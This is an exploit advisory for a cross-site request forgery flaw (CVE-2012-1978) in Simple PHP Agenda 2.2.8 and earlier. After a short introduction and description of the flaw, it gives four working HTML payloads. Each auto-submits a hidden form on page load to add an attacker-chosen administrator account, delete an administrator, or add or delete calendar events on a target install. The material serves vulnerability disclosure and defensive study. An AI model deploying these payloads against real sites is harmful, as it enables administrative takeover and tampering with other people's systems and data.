Simple PHP Agenda <= 2.2.8 CSRF (Add Admin - Add Event)

+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Simple PHP Agenda &#60;= 2.2.8 CSRF (Add Admin - Add Event) # Date : 29-03-2012 # Author : Ivano Binetti (http://ivanobinetti.com) # Software link : http://sourceforge.net/projects/php-agenda/files/latest/download # Version : 2.2.8 and lower # Tested on : Debian Squeeze (6.0) # Original Advisory : http://www.webapp-security.com/2012/03/simple-php-agenda/ # CVE : CVE-2012-1978 # OSVDB-ID : 80793 # Secunia Advisory ID : 48685 # Other Advisory : http://packetstormsecurity.org/files/111408/Simple-PHP-Agenda-2.2.8-Cross-Site-Request-Forgery.html +--------------------------------------------------------------------------------------------------------------------------------+ Summary 1)Introduction 2)Vulnerabilities Description 3)Exploit 3.1 Add Administrator 3.2 Delete Existing Administrator 3.3 Add a New Event 3.4 Delete an Existing Event +--------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction Simple Php Agenda is &#34;a simple agenda tool written in PHP with MySQL backend. An agenda tool accessible everywere there&#39;s internet&#34;. 2)Vulnerabilities Description Simple Php Agenda 2.2.8 (and lower) is affected by a CSRF Vulnerability which allows an attacker to add a new administrator, delete an existing administrator, create/delete a new event and change any other parameters. In this document I will only demonstrate how to: - add a new administrator - delete a existing administrator - add a new event - delete an existing event. Other parameters can be also modified. 3)Exploit 3.1 Add Administrator &#60;html&#62; &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62; &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/auth/process.php&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;user&#34; value=&#34;newadmin&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;pass&#34; value=&#34;password&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;email@email.com&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;subjoin&#34; value=&#34;1&#34;/&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62; 3.2 Delete Existing Administrator &#60;html&#62; &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62; &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/auth/admin/adminprocess.php&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;deluser&#34; value=&#34;pippo2&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;subdeluser&#34; value=&#34;1&#34;/&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62; 3.3 Add a New Event &#60;html&#62; &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62; &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/engine/new_event.php&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;date&#34; value=&#34;2012-03-30&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;time&#34; value=&#34;16%3A30&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;title&#34; value=&#34;new_event_title&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;description&#34; value=&#34;event_description&#34;/&#62; &#60;input type=&#34;hidden&#34; name=&#34;newEvent&#34; value=&#34;Aggiungi+evento&#34;/&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62; 3.4 Delete an Existing Event &#60;html&#62; &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62; &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;Simple_Php_Agenda_ip&#62;:80/phpagenda/?deleteEvent=2&#34;&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62; +--------------------------------------------------------------------------------------------------------------------------------+